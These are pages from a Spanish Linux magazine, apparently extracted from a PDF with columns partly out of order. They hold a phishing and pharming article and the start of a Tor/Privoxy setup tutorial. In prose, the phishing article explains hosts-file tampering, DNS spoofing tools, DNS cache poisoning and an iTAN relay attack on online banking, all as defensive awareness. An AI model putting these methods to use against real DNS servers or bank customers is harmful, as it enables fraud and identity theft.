falsa desde una fuente no confiable que
simplemente aparente ser real.
Las conexiones SSL/TSL usan certifica-
dos. Existen algunos errores comunes
acerca de los certificados que habría que
mencionar:
* “Certificado de confianza” (Trusted cer-
tificate) no significa que alguien nos
asegura que el operador del sitio está en
contacto con la policía.
* “De confianza” significa que el certifi-
cado ha sido publicado por una autoridad
de certificación reconocida. Una clave en el
servidor Web garantiza que al entrar en la
página https://ejemplo.com realmente acce-
demos a un servidor llamado ejemplo.com y
PORTADA • Navegación Segura
20 Número 20 W W W . L I N U X - M A G A Z I N E . E S
[1] Ataques de phishing en el pasado:
http://www.antiphishing.org/
phishing_archive.html
[2] Riesgos XUL en navegadores basa-
dos en Mozilla: http://www.pikey.me.
uk/mozilla/test/spooftest.html
[3] Vulnerabilidades en versiones previas
de Mozilla/Firefox: http://www.mozilla.
org/projects/security/ known-vulnera-
bilities.html
[4] Vulnerabilidad en el motor JavaScript
de Konqueror: http://www.kde.org/
info/security/advisory-20060119-1.txt
[5] Securityfocus: http://www.
securityfocus.com
RECURSOS
Muchas distribuciones de Linux publican
avisos de seguridad para proporcionar al
usuario información actualizada sobre pro-
blemas recientemente descubiertos.
Podemos acudir al apartado de la revista
“Noticias de Seguridad” donde encontrare-
mos enlaces de avisos de diferentes
distribuciones de Linux. En función del
fabricante o el proyecto, el formato de los
avisos de seguridad puede variar. Mientras
que Novell/Suse, Debian y Ubuntu propor-
cionan texto ASCII puro, quizás con algún
enlace, Mandriva es más amigable, con ico-
nos de candados de colores para indicarnos
cuán serio es un bug.
Avisos de Seguridad enLinux
Figura 7: Security Focus tiene una de las mayores colecciones de infor-
mación relativa a seguridad en Internet.
21Número 20W W W . L I N U X - M A G A Z I N E . E S
elimina la incertidumbre causada por la
dependencia en la cooperación humana.
Aunque la problemática del robo de
identidad en Internet no es nada nueva,
se ha detectado un claro incremento en
los últimos meses. Ha pasado un año
desde que se realizó un estudio estadís-
tico por los expertos en investigación de
mercado de Gartner[2] sobre este tema
tan llamativo. Investigaciones más
recientes, de Junio del año pasado, mos-
traron claramente el impacto económico
asociado al phising y al pharming. Los
investigadores han detectado una pér-
dida clara de la confianza de los
consumidores en los negocios on-line,
produciendo como resultado un incre-
mento del coste y del riesgo de inversión
tanto para las empresas como para los
consumidores. Y por último, pero no
menos importante, el Grupo de Trabajo
Anti-Phishing (Anti Phishing Working
Group, APWG) ha destacado un incre-
mento constante de los ataques phishing
y un considerable incremento en crime-
ware desde Abril de 2005: se ha
duplicado el código malicioso detectado
entre Abril y Julio de 2005 [2].
Estos peligros no son sólo hipotéticos;
causan un daño real. El 10% de los que
Phishing, Pharming y las amenazas relacionadas con la suplantación de la identidad
PICANDO EL ANZUELOPICANDO EL ANZUELO
Phishing • PORTADA
El phising se puede definir como
el arte de engañar mediante tru-
cos y estratagemas a los
confiados usuarios de Internet para
lograr de ellos información de carácter
personal y financiero. Este juego vil ya
ha proporcionado enormes ganancias a
una nueva generación de delincuentes
cibernéticos. Pero el phising no es más
que uno de los muchos trucos que hay
para la estafa. En este artículo examina-
remos algunas de las más populares
técnicas usadas para la suplantación de
identidad y mostraremos qué podemos
hacer para adelantarnos a la posible
amenaza.
Phishing y PharmingEl phising usa técnicas de falsificación
de correos electrónicos para lograr que
los usuarios desprevenidos visiten sitios
maliciosos. Es ahí donde son invitados a
introducir datos personales, tales como
contraseñas y números PIN. Los ataques
de phising ocurren en dos fases: en la
Fase Uno el usuario es engañado y sedu-
cido para que haga una visita al servidor
web del atacante. Los atacantes usan
varios vectores de inicio para lograr
atraer a las víctimas. En la Fase Dos, el
usuario es preguntado por sus datos per-
sonales. Esta parte del ataque es
conocida como engaño o falsificación
visual. Los vectores de ataque inicial
más conocidos son la falsificación de
correos y lo que se conoce como cross
site scripting (XSS), en donde el atacante
hace mal uso de sitios web de terceros
confiados para lograr iniciar el ataque.
En todos estos casos el atacante
depende de las acciones llevadas a cabo
por la víctima, por lo que fracasarían sin
la cooperación de la misma.
En contraste con el phising, el ataque
pharming requiere del atacante el enve-
nenamiento de las entradas de la caché
de servidores de DNS vulnerables, para
redirigir luego a los usuarios que con-
fían en este servidor a una máquina
comprometida que aloja al sitio web que
está siendo suplantado. Este ataque se
apoya normalmente en los errores de
implementación de los servidores DNS
para conseguir inyectar falsos pares [IP
/ nombre de máquina] en la caché del
servidor de dominio. Lo importante es
que el ataque de pharming es pura-
mente técnico. Esto mejora
considerablemente las oportunidades de
éxito de este tipo de ataques, puesto que
Los pharmers y los phishers van
tras vuestra valiosísima infor-
mación financiera. Aquí mos-
traremos cómo proteger nues-
tros intereses.
POR CHRISTOPH WEGENER
Y RALF SPENNEBERG
Phishing, Pharming y las amenazas relacionadas con la suplantación de la identidad
y vender en Ebay.
El atacante se apro-
pia de la identidad
de la víctima.
La mejor protec-
ción contra el
phishing es el sen-
tido común en
combinación con
Spam Assassin. Las
víctimas potencia-
les pueden
identificar emails y
sitios web fraudu-
lentos simplemente comprobando la
URL en sus navegadores, y por el hecho
de que la comunicación no está normal-
mente encriptada (el icono del candado
en la esquina inferior derecha de la ven-
tana del navegador está abierto). Pero
algunos sitios maliciosos están empe-
zando a usar SSL para conexiones
seguras. El navegador comprueba el cer-
tificado y alerta al usuario de que el sitio
seleccionado no coincide con el sitio
para el cual el certificado ha sido emi-
tido, o no proviene de una organización
de confianza, pero muchos usuarios no
atienden a estas alertas y simplemente
las ignoran. Estos nos dejan a la URL
como único medio de identificación de
la estafa.
El Viejo e Inseguro MSIEUna vulnerabilidad en las antiguas ver-
siones del Explorador de Internet de
Microsoft permite adicionalmente a los
atacantes falsificar la barra de URL, el
icono del candado SSL y la vista del cer-
tificado. En estos casos el candado se
encontrará cerrado, los datos del certifi-
cado aparecerán correctos y la barra de
URL nos mostrará la dirección
correcta… una falsificación perfecta. La
única protección contra esto es la actua-
lización de nuestra versión de MSIE, o
personalizar la versión del navegador
instalado para lograr que la falsificación
o engaño visual sea más o menos impo-
sible.
Spam Assassin puede ser útil en la
detección de emails falsificados. Las
últimas versiones de esta herramienta
detectarán normalmente la mayoría de
los correos de phishing. Filtrar los
mensajes entrantes con Spam Assassin
nos protegerá en gran medida contra los
ataques phishing conocidos.
Naturalmente ni siquiera Spam Assassin
puede protegernos contra mensajes
phishing desconocidos con anterioridad.
Los chicos malos ganan una conside-
rable suma de dinero con estos ataques.
Los delincuentes están organizados con
frecuencia en grupos criminales. El sitio
Internet News.com calcula que el daño
financiero causado en los Estados Uni-
dos en el año 2003 fue de 1,2 billones
(entendido como mil millones y no un
millón de millones).
Mucho Más PrometedorPuesto que el phishing depende de la
complicidad del usuario, y como factor
humano que es puede hacer peligrar el
éxito del ataque, los hackers malicio-
sos han ideado métodos para
incrementar las probabilidades a su
favor. El pharming no depende de un
email para atraer mediante engaños a
la víctima a un sitio malicioso. En vez
de esto, un servidor de DNS compro-
metido lleva a la víctima directamente
a ese sitio. Los usuarios normalmente
no escriben las direcciones IP de su
banco en el navegador; en su lugar
escriben los nombres DNS del sitio. El
servicio de Internet DNS es quien
resuelve la dirección, y es precisa-
mente este proceso de resolución de
direcciones el que es explotado por los
pharmers.
El ataque es realmente sencillo en
los sistemas Windows de Microsoft
usando un virus que modifique el
fichero System32/drivers/etc/hosts. Si
los usuarios introducen los pares nom-
bre del host/dirección IP en este
fichero, el navegador irá derecho a la
dirección IP cuando el usuario intente
acceder al nombre del sitio. Natural-
mente la dirección IP dirige a la
víctima al sitio web malicioso del ata-
cante. Normalmente la víctima se cree
segura, después de todo no están acce-
diendo al sitio desde un email, sino
que han sido ellos los que han introdu-
cido la dirección.
Para prevenir este ataque, los
expertos en seguridad recomiendan
proteger contra escritura el fichero de
hosts. Pero puesto que los troyanos
normalmente asumen privilegios de
administrador, este tipo de protección
es generalmente inútil. Además,
variantes más recientes utilizan un
vector diferente: introducir un servidor
DNS malicioso, ejecutado por el
participaron en una encuesta confiesan
que han sufrido pérdidas económicas
debido a correos electrónicos de phising.
Aunque estos datos pueden no ser ofi-
ciales, definitivamente muestran cómo
de real es el peligro.
En la RedComo mencionamos antes, los phishers
falsifican mensajes de emails de provee-
dores de servicios muy conocidos para
engañar a sus víctimas y lograr que visi-
ten sitios web maliciosos. Una vez la
víctima accede al sitio malicioso, el phis-
her intenta engañarla para que revele
datos de identificación (usuario y con-
traseña), números PIN o datos de la
tarjeta de crédito. Los ataques de phis-
hing están orientados principalmente a
los más importantes bancos y sitios web
dedicados al e-Comercio tales como Citi-
bank, PayPal o Ebay. En la Figura 1 se
muestra el típico mensaje de phishing.
En contraste a muchos emails de
phishing menos depurados, en este caso
el usuario no es alertado por los
evidentes errores de deletreo y
gramaticales. Errores de este tipo
proporcionan con frecuencia una pista,
puesto que muchos de los mensajes de
phishing han sido creados por gente
cuyo idioma nativo no es el nuestro.
Una víctima que pulse sobre el enlace
es conducida al sitio web del atacante,
que normalmente se parecerá mucho al
sitio original (Figura 2), excepto que el
sitio suplantado contiene con frecuencia
errores de deletreo o gramaticales,
puesto que dichos sitios son con fre-
cuencia creados por criminales
internacionales que usan herramientas
automáticas de traducción. Si la víctima
finalmente introduce los datos solicita-
dos en ese sitio, el atacante podría
usarlos para transferir dinero o comprar
PORTADA • Phishing
22 Número 20 W W W . L I N U X - M A G A Z I N E . E S
Figura 1: Un correo de phising pregunta a un usuario para que
actualice la información de su cuenta de eBay.
pharmer, en las propiedades de red del
sistema operativo. En este caso, la
protección contra escritura del fichero
de hosts no ayudará para nada.
Suplantación DNSUn vector de ataque alternativo
requiere que el atacante monitorice
las peticiones de resolución DNS, y
responda en su lugar en vez del ser-
vidor DNS genuino. Para hacer esto
el atacante debe estar localizado en
algún lugar de la vecindad de la víc-
tima para lograr “esnifar” las
peticiones de resolución de nombre.
Naturalmente existen multitud de
herramientas capaces de esto. Linux
tiene la legendaria Dsniff de Dug
Song, por ejemplo, con su comando
dnsspoof. Incluso Windows tiene
una herramienta gráfica apodada
Cain&Abel [3]. Pero existen gran
número de herramientas que sopor-
tan este tipo de ataques; los
atacantes pueden además usar técni-
cas de suplantación ARP para
rastrear respuestas DNS o compro-
meter sesiones SSL usando técnicas
Man-in-the-Middle (MitM).
Envenenamiento de laCaché
Sin embargo la aproximación más efectiva
para el pharmer es envenenar la caché del
servidor DNS. Aunque esta vulnerabilidad
es bien conocida desde hace años, se sor-
prenderían de la cantidad de servidores
DNS vulnerables que aún lo siguen
siendo. Dan Kaminsky investigó alrededor
de 2,5 millones de servidores en Julio del
2005 y averiguó que alrededor del 10% de
los servidores DNS están abiertos a este
tipo de ataques de envenenamiento.
En un escenario de envenenamiento de
caché (Figura 3), el atacante primero
busca un nombre para el cual su propio
servidor de nombres está autorizado (por
ejemplo www.hackingexample.com) en el
servidor de caché de DNS vulnerable (1).
El servidor de caché DNS no tendrá dicha
información, y por tanto irá al servidor
DNS del pharmer (2) en busca de ayuda.
El servidor DNS del pharmer responderá a
la petición, y al mismo tiempo le devuelve
sus propias entradas para los nombres
DNS www.anybigbank.com y www.
yetanotherbigbank.com (3). El servidor de
caché DNS añade esta información a su
propia caché junto con la dirección IP para
www.hackingexample.com. A continua-
ción el servidor de nombre responde a la
petición para www.hackingexample.com
(4).
Ahora, cuando la víctima consulta al
servidor de DNS comprometido por
www.anybigbank.com o www.
yetanotherbigbank.com, el servidor DNS
encontrará los datos solicitados en su
propia caché y no preguntará al servidor
de nombres autorizados para dicha
dirección. El servidor devolverá enton-
ces la dirección IP falsa, proporcionada
a éste por el atacante, a la víctima. Todo
lo que el pharmer necesita ahora es un
servidor web con un sitio malicioso eje-
cutándose en la dirección IP que ha sido
deslizada a la víctima.
Los ataques de encadenamientos de
nombres son una versión más avanzada
del envenenamiento de la caché ya que
involucran que el atacante enlace la pro-
pia búsqueda DNS con la denominada
“sección adicional” de una forma poco
común. La respuesta no contendrá una
dirección IP, sino un puntero al nombre
del host del servidor de redirección. En
nuestro ejemplo anterior la respuesta
podría ser algo como “www.
hackinexample.com es un alias para
www.anybigbank.com”, y como “sec-
ción adicional”, “www.anybigbank.com
resuelve a 192.0.2.1”. No hay forma de
prevenir la inyección de información de
suplantación del atacante mediante la
comprobación de si la entrada “sección
adicional” coincide con la búsqueda
solicitada.
En cuanto un nuevo agujero de seguri-
dad es descubierto en el software de
servidor DNS, firewall o cualquier pro-
ducto similar el pharmer tratará de
aprovecharlo. Y esto es exactamente lo
que ocurrió en Marzo del 2005 con el
firewall de Symantec. En Junio de 2004
[4] se revelaron detalles de un error en
la caché DNS de este producto, pero no
todas las instalaciones fueron parchea-
das para Marzo del siguiente año. Esto
permitió que fuera posible un ataque a
larga escala de envenenamiento de
caché DNS [5].
Una variante de este ataque intenta
manipular la caché del lado del cliente
en las máquinas Windows o Linux, en
vez de centrarse en la caché del servi-
dor. Para lograrlo el atacante se
aproxima de la siguiente forma: primero
Phishing • PORTADA
23Número 20W W W . L I N U X - M A G A Z I N E . E S
Figura 2: Un usuario que pulsa sobre el enlace de la Figura 1 es dirigido a una página web muy
parecida a la página de entrada de eBay, pero… ¿realmente dónde está?
El método eTAN requiere la entrega alcliente de un dispositivo electrónico.Cuando el cliente desea realizar unatransferencia, el banco le envía unnúmero aleatorio; el cliente debe intro-ducir el número en el dispositivo , éstees similar a una calculadora. El aparatocalcula entonces una respuesta especí-fica para el cliente que es devuelta poréste al banco para realizar la transferen-cia. El método eTAN es usado, porejemplo, por GE Money Bank.
El método mTAN utiliza el móvil delcliente para autorizar las transaccio-nes. Cuando un cliente desea realizaruna transferencia de dinero el bancoenvía un pequeño mensaje con unnúmero TAN y alguna informaciónadicional al móvil del cliente. Éstecomprueba los detalles de la transfe-rencia e introduce el TAN paraautorizar la transacción. El TAN sóloes válido para una transferencia.
El método iTAN es inseguro si el ata-cante no almacena el dato en la páginaweb maliciosa sino que reenvía estedato al auténtico banco, como unaespecie de proxy transparente. Todo loque tiene que hacer el atacante esmodificar la cantidad y los detalles dela cuenta antes de pasar los datos albanco. El banco entonces solicita eliTAN al atacante; el atacante devuelvela petición directamente a la víctimaquién amablemente escribe el correctoiTAN.
El método mTAN parece ser el únicogenuinamente seguro; en la actualidadnecesitas iTAN para habilitar elmétodo. El cliente selecciona el sis-tema mTAN, y entonces el banco envíauna clave de registro al móvil delcliente. A continuación el cliente debeintroducir dicha clave de registro en unformulario, y es preguntado por uniTAN para habilitar el método mTAN.Los números de móvil existentes enmTAN pueden ser eliminados sin nin-guna otra verificación adicional.
Desafortunadamente no parece pre-visible que este sistema logresobrevivir, puesto que mTAN añade uncoste a la transacción. Además hay queañadir a esto el hecho de que el futurode mTAN parece inseguro en unaépoca caracterizada por hackeos Blue-
tooth, virus para móviles y troyanos. Yno olvidemos que siempre hay un riesgode pérdida del móvil.
HBCI es SeguroHBCI es el único mecanismo capaz deproporcionar auténtica seguridad enestos momentos, sin embargo, puestoque HCBI es complejo y requiere unincremento en la inversión de hardwareadicional en forma de smartcards y lec-tores de tarjeta, no muchos bancos lasoportan, y menos son los consumidoresque la usan. Los clientes no usan PINs yxTAN para autentificarse aquí, sino queusan certificados X.509 y las claves pri-vadas correspondientes; en el otroextremo de la conexión, el servidor webdel banco necesita del mismo tipo decredenciales para identificarse frente alusuario. Para prevenir que un atacantepueda simplemente acceder en la propiacasa de la víctima y apropiarse de suclave privada, la clave es almacenada enuna smartcard, la cual adicionalmenteprotege la llave frente a accesos de lectu-ras no autorizados.
Para ser capaz de utilizar la clave pri-vada para firmar transacciones, elusuario siempre necesita una smartcard.Para prevenir a un atacante que halogrado la posesión de la smartcard dehacer un mal uso de ella, la clave en lasmartcard está protegida adicionalmentecon un PIN. Los clientes son solicitadosa introducir el PIN para autentificarsefrente a la smartcard. Para frustrar a lostroyanos y a los programas que registranlas pulsaciones del teclado los intentos
envía un aparentemente inocuo correoelectrónico a la víctima; el correo con-tiene una imagen que apunta al dominiowww.example-attacker.com. El clientetiene que consultar al servidor de nom-bres autorizados para descubrir ladirección IP, y es así como comienza elataque de envenenamiento de caché. Elservidor DNS no sólo provee unaentrada para www.example-attacker.
com, al mismo tiempo envenena lacaché del PC cliente directamente, desli-zando una dirección IP falsa al clientepara www.anymajorbank.com. Lasiguiente vez que el cliente intente acce-der a la página web del banco, elconfiado usuario será teletransportadoal sitio web malicioso.
mTAN, iTAN, eTANTras muchos años de usar el métodoPIN/TAN para las transacciones electró-nicas, los bancos tratan ahora demejorar la seguridad bancaria on-linecon una nueva aproximación a los TANs(números de transacción). Con elmétodo iTAN el banco le da al clienteuna lista indexada de TAN. Cuando elcliente intenta realizar una transferenciabancaria, el banco le solicita un TANcon un número de índice determinado.Si el cliente termina en una página mali-ciosa, el pharmer no sabrá qué TANsolicitar. La aproximación iTAN es usadahoy en día por muchos bancos y socie-dades, y muchas más planean usarla.
PORTADA • Phishing
24 Número 20 W W W . L I N U X - M A G A Z I N E . E S
Figura 3: Para envenenar la caché de la DNS el atacante necesita montar su propio servidor denombres.
de conseguir el PIN de los clientes desde
su máquina, los lectores smartcard Class
2 tienen integrado un panel numérico
que permite al usuario escribir el PIN en
ellos directamente.
Sin embargo, el mensaje que debe ser
firmado es con frecuencia mostrado en
el PC para permitir al cliente su verifica-
ción. Esto puede abrir un vector de
ataque a un troyano localizado entre el
lector de tarjeta y el PC. En este caso un
usuario podría firmar transacciones que
no desea firmar. Los dispositivos smart-
card Class 3 proveen de auténtica
seguridad. Esta vez el texto que ha de
ser firmado no debería mostrarse nunca
en el PC (porque es demasiado largo
para ser mostrado desde el lector de tar-
jeta) puesto que esto volvería otra vez a
comprometer la seguridad.
En las aplicaciones de banca on-line
los datos críticos, tales como el número
de cuenta de destino, el código de iden-
tificación del banco y la cantidad
puedan ser mostrados en el lector de tar-
jeta, proporcionando a los clientes una
solución donde ellos pueden estar segu-
ros de lo que firman.
Protección vía CertificadosSSL de ClientesTodas estas soluciones ignoran un pro-
blema: en las viejas aplicaciones el
servidor bancario se autentifica frente a
los clientes. Los clientes deben estar
seguros de que están en comunicación
con el servidor correcto, y para lograr
esto, necesitan ser capaces de distinguir
una conexión SSL fraudulenta de una
conexión legítima.
La experiencia diaria sugiere que
depender del cliente no siempre resuelve
el problema: hay una razón, los usuarios
tienden a pulsar descontroladamente el
ratón a la hora de eliminar mensajes de
error sin ni siquiera pararse a leerlos. Un
mensaje de error ya no es una sorpresa
para los usuarios. Hay otra razón, los
clientes generalmente desconocen el
modo en el que funcionan las conexio-
nes SSL. Varios de los intentos realizados
por los bancos para formar a sus clientes
a este respecto no han tenido siempre el
resultado esperado. Algunas de las políti-
cas usadas en la actualidad dan al
usuario una falsa sensación de seguri-
dad, tales como el mostrar el logotipo de
certificación SSL en la página principal
desprotegida del banco.
Un método interesante para conseguir
más protección frente a los ataques de
phishing y pharming consiste en invertir
la dirección de la autentificación y for-
zar al cliente (el PC o navegador del
cliente, para ser más preciso) a autentifi-
carse frente al banco. Los bancos
pueden usar para ello certificados SSL
para cada cliente. Los bancos pueden
emitir un certificado a un cliente una
vez comprobada la legitimidad del
mismo (esto puede realizarse en la
misma sucursal bancaria), y el cliente
puede instalar este certificado en su pro-
pio PC. Los clientes necesitan presentar
dicho certificado cuando deseen estable-
cer una conexión con el servidor del
banco. El certificado puede así mismo
protegerse con un PIN frente a usos no
autorizados.
Para impedir ataques de engaño o fal-
sificación visual de la identidad del
banco, se podrían introducir técnicas
para la autentificación visual. El banco
podría esperar algún tipo de identifica-
ción visual del cliente, que sería
transmitida por medio de un canal
seguro; los atacantes podrían encontrar
extremadamente difícil falsificar algún
tipo de identificador visual del cliente.
Un problema de este procedimiento es
que el comportamiento on-line del
cliente medio podría colisionar con este
tipo de procedimiento. Las estadísticas
bancarias revelan que la mayoría de las
transacciones tienen lugar en los des-
cansos de los clientes para la comida,
por lo que suelen hacer uso de los orde-
nadores de la oficina. Algunos entornos
pueden impedir que esto suceda, puesto
que normalmente los usuarios tienen
normalmente ciertas restricciones en los
privilegios de uso de sus ordenadores de
oficina. Algún tipo de token conectado
por USB podría resolver estos proble-
mas, pero esto volvería a presentar un
incremento en el coste del procedi-
miento.
Situación LegalEl phishing y el pharming presentan
algunos problemas legales en varios
campos. Una cuestión importante es
quién es actualmente responsable de la
transacción fraudulenta. El banco puede
intentar reclamar alguna compensación
a la víctima de la estafa por la cantidad
de dinero transferida por el phisher. Una
transferencia bancaria funciona de una
manera similar a esto: el banco, consul-
tado por una cantidad de dinero (el
banco de la víctima en este caso) trans-
fiere una suma de dinero al atacante. El
banco querrá tomar el dinero de la
cuenta de la víctima como reembolso de
la transacción. Incluso si está claro que
la transacción no tiene la aprobación de
la víctima, el banco puede reclamar
daños por la cantidad desembolsada. La
entidad bancaria puede entonces tener
que probar su caso ante los tribunales;
en otras palabras, el banco debe probar
que el cliente ha ordenado la transferen-
cia, y normalmente no podrá hacerlo.
Naturalmente todos estos procedi-
mientos dependen de las leyes y normas
locales. Como mínimo, incluso si la víc-
tima tiene éxito en evitar tener que
pagar por el dinero sustraído por el phis-
her, el acontecimiento siempre termina
en una larga tormenta de cartas, amena-
zas y problemas burocráticos.
ConclusionesAun está por ver cuando llegará la pri-
mera gran ola de ataques de tipo
pharming, pero considerando el hecho
de que una importante proporción de
servidores de nombres por todo el
mundo son vulnerables al envenena-
miento de la caché, el peligro es muy
real y difícil de predecir. Lo impor-
tante para los usuarios es pensar
antes de bucear por Internet, especial-
mente si uno es consultado sobre
datos de carácter personal. Bancos,
plataformas de subastas online y tien-
das web necesitan trabajar en la
concienciación sobre temas de seguri-
dad a sus clientes. Probablemente este
sea el único camino para parar el mal
uso a larga escala del pago online y de
los sistemas bancarios. �
Phishing • PORTADA
25Número 20W W W . L I N U X - M A G A Z I N E . E S
[1] Grupo Gartner: http://www.gartner.
com
[2] Anti Phishing Working Group
(APWG): http://www.antiphishing.org
[3] Cain&Abel: http://www.oxid.it
[4] Vulnerabilidad en el Cortafuegos de
Symantec: http://securityresponse.
symantec.com/avcenter/security/
Content/2004.06.21.html
[5] Ataque de la caché de DNS: http://isc.
sans.org/diary.php?date=2005-03-04
RECURSOS
bién estén pendientes de por donde
navegamos.
Privoxy [1] y Tor [2] se encargan de librarse
de los espías. Un navegador normalmente dia-
loga con un servidor remoto, la mayor parte
de las veces un sitio web, y el servidor web
que alberga el sitio registra los datos corres-
pondientes al acceso. El cliente Tor evita que
las solicitudes vayan directamente al destino,
siendo reenviadas a través de un proxy que se
ejecuta en la propia máquina del usuario a tra-
vés de un número de nodos hasta el
denominado nodo de salida, el cual se
encarga de dialogar con la máquina
de destino (Figura 1). La versión
servidor de Tor actúa como uno
de los nodos intermediarios de
la cadena. El nombre “Tor” es el
acrónimo de “The Onion Router”
(El router cebolla). Los usuarios par-
ticulares normalmente ejecutarán Tor
como cliente, conocido comunmente
como “Onion Proxy”.
Esta estructura presenta un problema: si los
datos que se solicitan pasan a través de varios
nodos antes de llegar a la máquina del usua-
rio, cualquier “Onion Router” podría registrar
la actividad del usuario. Por este motivo se
negocia una clave secreta entre el “Onion
Proxy” del usuario en casa y cada nodo del
camino hasta el nodo de salida. La clave
impide que nodos no autorizados se inmiscu-
yan en la conversación.
Encriptando los datos en múltiples capas se
asegura que solamente el “Onion Proxy” del
usuario sea capaz de acceder a los datos. Este
sistema de protección también impide que los
operadores de los nodos puedan desencriptar
el tráfico que pase por ellos. El resultado de
este esquema es que los datos se parecen
mucho a una cebolla (onion) , cubiertos por
múltiples capas de encriptación. El nodo de
salida rompe la piel y pasa los datos al destino
final, aunque no tiene forma de saber qué
máquina realizó originariamente la solicitud.
Ninguno de los “Onion Routers” conocen al
“Onion Proxy”, lo que significa que el opera-
dor del “Onion Router” no tiene forma de
saber qué datos están pasando a través de sus
nodos.
La información es reempaquetada en el
camino de regreso al destino y permanece
encriptada hasta el proxy que se está ejecu-
tando en la máquina del usuario que se
encarga de ir pelando las capas de cebolla
hasta quedarse con los datos en cuestión. Este
esquema hace que sea imposible por parte de
un tercero, incluyendo al proveedor, saber qué
datos se solicitan o se envían; la persona que
ejecuta la máquina de destino sólo puede ver
la dirección IP del nodo de salida, que puede
ser cualquiera del mundo.
Instalando Tor
Tor es todavía un programa bastante joven,
como muestra el número de versión; al
tiempo de escribir este artículo no tiene una
interfaz. Los usuarios de Suse pueden
La epidemia de investigación de
mercado basada en Internet conti-
núa: muchas empresas investigan
de forma rutinaria los hábitos de navega-
ción por Internet de sus clientes, una
forma barata y transparente de espio-
naje. Incluso en algunos países
represivos puede que los gobiernos tam-
PORTADA • Privoxy
26 Número 20 W W W . L I N U X - M A G A Z I N E . E S
Navegación Anónima con Tor y Privoxy
AGENTE SECRETONormalmente los usuarios de Internet revelan sus direcciones IP, lo que permite a las empresas recopilar
información para elaborar un perfil de sus actividades en Internet. Tor y Privoxy pueden ayudarle a proteger
su privacidad. POR KRISTIAN KISSLING
descargar el código fuente de la versión
estable 0.1.0.16 y comenzar instalando las
herramientas Automake. Autoconf y
Automake están incluidas. Además harán
falta los compiladores GCC y GCC-C++.
YaST carga automáticamente las bibliotecas
adicionales requeridas. Es imprescindible
instalar los ficheros de cabecera Openssl-devel
y Zlib-devel junto con la biblioteca Libevent
[3].
Los usuarios con Suse 9.3 no pueden utili-
zar YaST para instalar Tor; en su lugar tienen
que descargar el código fuente desde [2] y
seguir los pasos típicos de instalación: ./confi-
gure, make y make install. Esto debería
funcionar bien. Suse 9.3 también necesita una
entrada nueva en /etc/ld.so.conf para poder
localizar la biblioteca. Se añade la ruta /usr/lib
y luego (como root) se ejecuta ldconfig para
actualizar la información de la ruta.
Para los usuarios de Debian los pasos son
bastante sencillos; sólo hay que añadir la
siguiente entrada en /etc/apt/sources.list:
deb http://mirrorU
.noreply.org/U
pub/tor sarge main
deb-src http://U
mirror.noreply.org/U
pub/tor sarge main
Luego como root se eje-
cuta apt-get update para
indicarle al gestor de
paquetes el software que
se encuentra en la nueva
dirección especificada.
Ahora simplemente se
instala con apt-get install
tor.
Vamos…Vamos a probar Tor. Tras
abrir una ventana de
consola se teclea tor.
Después de un
momento se podrá leer
un mensaje que dice
“Tor has successfully ope-
ned a circuit. Looks like
it’s working” (Tor ha
abierto un circuito con éxito. Parece que fun-
ciona) (Figura 2). Si aún no se está
convencido y quiere asegurarse, sólo hay que
buscar en Google my ip. Esto mostrará unas
cuantas páginas que no sólo indican la direc-
ción IP del ordenador, sino otros detalles como
pueden ser el país en el que probablemente se
encuentra, el sistema operativo y el navegador
que se está usando o incluso las páginas web
que se han visitado recientemente.
Para engañar a estos sitios primero hay que
indicarle al navegador que envíe el tráfico a
través del “Onion Proxy” de Tor. Si se tiene
Firefox, en Preferences se selecciona Connec-
tion Settings | Manual Proxy Configuration. Se
introduce 127.0.0.1 como el SOCKS Host y
9050 como puerto (Figura 3). A continuación
se selecciona la entrada SOCKS v4 y se finaliza
la configuración: el
navegador enviará en
este momento todo el
tráfico a través del
puerto 9050 y Tor lo
reenviará a Internet.
Los usuarios de Mozi-
lla tendrán que realizar
la configuración en
Edit | Preferences |
Advanced | Proxies.
Ahora, cuando se
consulte la dirección
IP, los resultados serán diferentes de los obte-
nidos anteriormente: el servidor web piensa
que vivimos en Alemania (Figura 4)… parece
que Tor realmente funciona.
Si se tiene instalado Suse y se desea que Tor
se ejecute automáticamete cuando se
endienda la máquina, hay que añadir como
root la línea /usr/local/bin/tor & al fichero
/etc/rc.d/boot.local; en Debian, un fichero
denominado /etc/rc0.d/K20tor se asegura de
que Tor se ejecute automáticamente cada vez
que arranque el sistema. Tor tiene un pro-
blema que la mayoría de los programas de
encriptación y de anonimato poseen en
común: la encriptación tiende a ralentizar con-
siderablemente las comunicaciones con los
servidores webs remotos.
Y como postre, PrivoxyTor no elimina del todo el riesgo que presenta
la navegación. Como seguramente sabrá, el
navegador necesita buscar la dirección de la
máquina de destino enviando una solicitud a
un servidor DNS; el servidor resuelve el nom-
bre del servidor (como www.linux-magazine.
com) a la dirección IP (212.227.104.121). Pos-
teriormente, el servidor DNS envía la
dirección IP de vuelta al navegador. Si alguien
comprobase los ficheros de registro del servi-
dor DNS podría averiguar qué máquina ha
Privoxy • PORTADA
27Número 20W W W . L I N U X - M A G A Z I N E . E S
Chroot: Una medida de seguridad que
hace corresponder el directorio raíz
para Privoxy a /var/lib, impidiendo de
este modo a los posibles atacantes
acceder a directorios superiores del
sistema de ficheros.
Glosario
Figura 1: Tor reenvía las peticiones web a través de una serie de
nodos intermediarios para ocultar la identidad del usuario.
Figura 3: Configurando a Tor como el servidor proxy del navegador
web.
Figura 2: Tor ha abierto con éxito un circuito y se lo indica al
usuario.
ponerlo, no se realizará ningún reenvío.
Para Debian es preciso modificar el mismo
fichero, que en este caso se encuentra en
/etc/privoxy.
Ahora hay que actualizar la configuración
del proxy en Firefox y Mozilla de modo que
refleje los cambios. Es necesario introducir
la dirección IP 127.0.0.1 y el puerto 8118 en
la configuración del proxy. En este
momento se puede volver a mostrar la
página anterior que mostraba la dirección
IP. Si la dirección IP es correcta, Privoxy está
funcionando correctamente, pero si esta
dirección IP es otra distinta a la correcta,
entonces es que Tor también está funcio-
nando.
Un Cambio RápidoAnteriormente, si se utilizó el navegador
web en modo mixto, es decir, haciendo uso
de la función de anonimato algunas veces y
desactivada en otras, no había otra alterna-
tiva que conmutar manualmente el proxy a
encendido o apagado. Afortunadamente
esto ha cambiado: ahora disponemos de
una extensión Switch Proxy para Mozilla y
Firefox, que se puede instalar haciendo
doble clic en el enlace Gets more extensions
en la ventana Extensions [5]. Después de
reiniciar el navegador web, se debería tener
una nueva barra de estado para Switch
Proxy (Figura 5).
Para configurar Tor y Privoxy como el
nuevo proxy, hay que hacer clic en Add,
seleccionar la entrada Standard y luego
hacer clic en Next. Aparece una ventana
que permite la configuración del nuevo
proxy. No hay que olvidar asignarle un
nombre a esta configuración para poder
